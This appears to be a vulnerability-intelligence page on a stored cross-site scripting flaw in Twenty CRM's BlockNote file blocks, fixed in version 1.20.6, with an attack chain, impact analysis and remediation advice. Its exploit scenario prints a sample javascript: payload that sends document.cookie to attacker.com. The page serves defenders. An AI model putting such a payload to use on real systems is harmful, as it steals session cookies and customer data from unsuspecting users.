Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate as low-privilege user
-
DeliveryCreate/edit file block with javascript: URI
-
ExploitSave malicious block to shared record
-
ExecutionVictim views record and clicks file
-
PersistJavaScript executes in victim browser
-
ImpactAttacker steals session token or sensitive data
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | CRITICAL CONDITIONS: (1) Attacker must be an authenticated user with permission to create or edit file blocks in the BlockNote editor (typically low-privilege users like sales reps or customer support staff have this capability). (2) The malicious file block must be stored in a record (deal, contact, etc.) that is subsequently viewed by another user. (3) The target user must click on the malicious file link to trigger JavaScript execution; if the link is not clicked, no exploit occurs. (4) The target's browser must not have a restrictive Content Security Policy in place. LIMITING FACTORS: Unauthenticated attackers cannot inject blocks (PR:L requirement). Victims must take action (click link), not automatic. Impact is limited to data accessible within the user's browser context-does not grant server access or database compromise. The vulnerability does NOT affect Twenty CRM versions 1.20.6 and later. |
| Impact | CVSS 5.7 (Medium) with network accessibility (AV:N) and low complexity (AC:L) is tempered by two significant mitigating factors: authentication requirement (PR:L - low privilege attacker) and required user interaction (UI:R - victim must click the malicious link). The attack is stored, meaning a single malicious block affects all users viewing that document, but the impact is limited to confidentiality (C:H) with no integrity or availability impact - attackers can exfiltrate session tokens or sensitive data displayed on the page but cannot modify server state or cause denial of service. This is a real priority for environments where Twenty CRM stores sensitive customer data accessible via client-side JavaScript (e.g., customer names, email addresses, conversation history), but NOT a critical vulnerability since it requires both initial compromise by an authenticated user and victim interaction. No EPSS score, KEV status, or public exploit availability data provided; the fix version (1.20.6) is confirmed by vendor commit reference, making patching straightforward. The risk is proportional to: (1) how many authenticated users can inject blocks, (2) how many other users will view those blocks, and (3) what sensitive data is visible in the DOM. |
| Exploit ScenarioDerived | An authenticated Twenty CRM user (e.g., sales representative with block-creation privileges) crafts a malicious file block with a javascript: URI in the url property, e.g., {url: 'javascript:fetch("https://attacker.com/steal?cookie="+document.cookie)'}, and saves it within a shared deal or contact record. When another user (e.g., team lead or customer) views that record and clicks the file attachment, the JavaScript executes in their browser context with access to their session cookies and any sensitive customer data visible on the page. The attacker can exfiltrate credentials or sensitive information without triggering any server-side audit logs. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 21, 2026
Stored cross-site scripting in Twenty CRM versions prior to 1.20.6 allows authenticated attackers to inject malicious JavaScript URIs into file block attachments via the BlockNote editor, executing arbitrary code in the browsers of users who click the malicious link. The vulnerability bypasses protocol validation in the FileBlock component and lacks server-side sanitization of block content; exploitation requires user interaction (clicking the attachment) but persistence is stored on the server, affecting all subsequent users who view the compromised document.
RemediationAI
Upgrade Twenty CRM to version 1.20.6 or later immediately. No workarounds are available for the underlying vulnerability; patching is the primary and only confirmed mitigation. Pending patching, organizations can implement compensating controls: (1) restrict file block creation permissions to trusted administrators only (trade-off: reduces CRM usability for non-admin users), (2) disable or hide the BlockNote editor until patched (trade-off: disables rich-text editing), or (3) implement a Content Security Policy (CSP) with script-src 'self' to prevent inline and javascript: URI execution (trade-off: may break legitimate inline scripts, requires testing). The vendor advisory at https://github.com/twentyhq/twenty/security/advisories/GHSA-7w89-7q26-gj7q and commit at https://github.com/twentyhq/twenty/commit/8da69e0f77ea820a6845a4c3c025b6af3861d523 document the fix.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in the BlockNote editor component used by Twenty CRM for content editing. The FileBlock component fails to validate the protocol scheme of URLs stored in the url property, allowing attackers to inject javascript: URIs alongside legitimate http/https schemes. The root cause (CWE-79: Improper Neutralization of Input During Web Page Generation) stems from insufficient input validation and output encoding-the server accepts and stores unvalidated block content without sanitizing dangerous protocols, and the client-side rendering does not escape or validate the URL before passing it to user interaction handlers. The CPE cpe:2.3:a:twentyhq:twenty:*:*:*:*:*:*:*:* indicates all versions of Twenty are in scope, with the vulnerable range being versions prior to 1.20.6.
Know when Twenty gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N
Primary rating from Vendor (GitHub_M) · only source for this CVE.
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
3DescriptionCVE.org
Twenty is an open source CRM. Prior to 1.20.6, a Stored Cross-Site Scripting (XSS) vulnerability exists in the BlockNote editor component. Due to a lack of protocol validation in the FileBlock component and insufficient server-side inspection of block content, an attacker can inject a javascript: URI into the url property of a file block. This allows the execution of arbitrary JavaScript when a user clicks on the malicious file attachment. This vulnerability is fixed in 1.20.6.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Twenty CRM v1.15.0 has a code injection vulnerability enabling remote attackers to execute arbitrary code through the CR
The CRM platform Twenty is vulnerable to stored cross site scripting via file upload in version 0.3.0. Rated high severi
Remote code execution in Twenty CRM versions 1.7.7 through 1.16.7 allows authenticated users to execute arbitrary OS com
Plaintext IMAP, SMTP, and CalDAV passwords belonging to other workspace members are disclosed to any authenticated low-p
The CRM platform Twenty version 0.3.0 is vulnerable to SSRF via file upload. Rated medium severity (CVSS 5.4), this vuln
Unauthenticated workspace takeover in Twenty CRM: the public signUp GraphQL mutation returns the plaintext personalInvit
SQL injection in Twenty, an open-source CRM platform, lets a workspace administrator holding the DATA_MODEL permission i
Stored cross-site scripting in Twenty CRM versions 1.18.0 and earlier allows authenticated users to upload HTML/JavaScri
Server-side request forgery (SSRF) in Twenty CRM allows authenticated users to bypass IP filtering protections and acces
Cross-workspace data disclosure in Twenty CRM before 2.9.0 lets any authenticated user holding the AI settings flag (a w
Field-level read permission bypass in Twenty CRM before 2.22.0 lets an authenticated workspace member or API key that is
Twenty CRM before 2.35.0 fails to enforce field- and row-level permission checks inside the groupBy-with-records GraphQL
EUVD-2026-24161
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB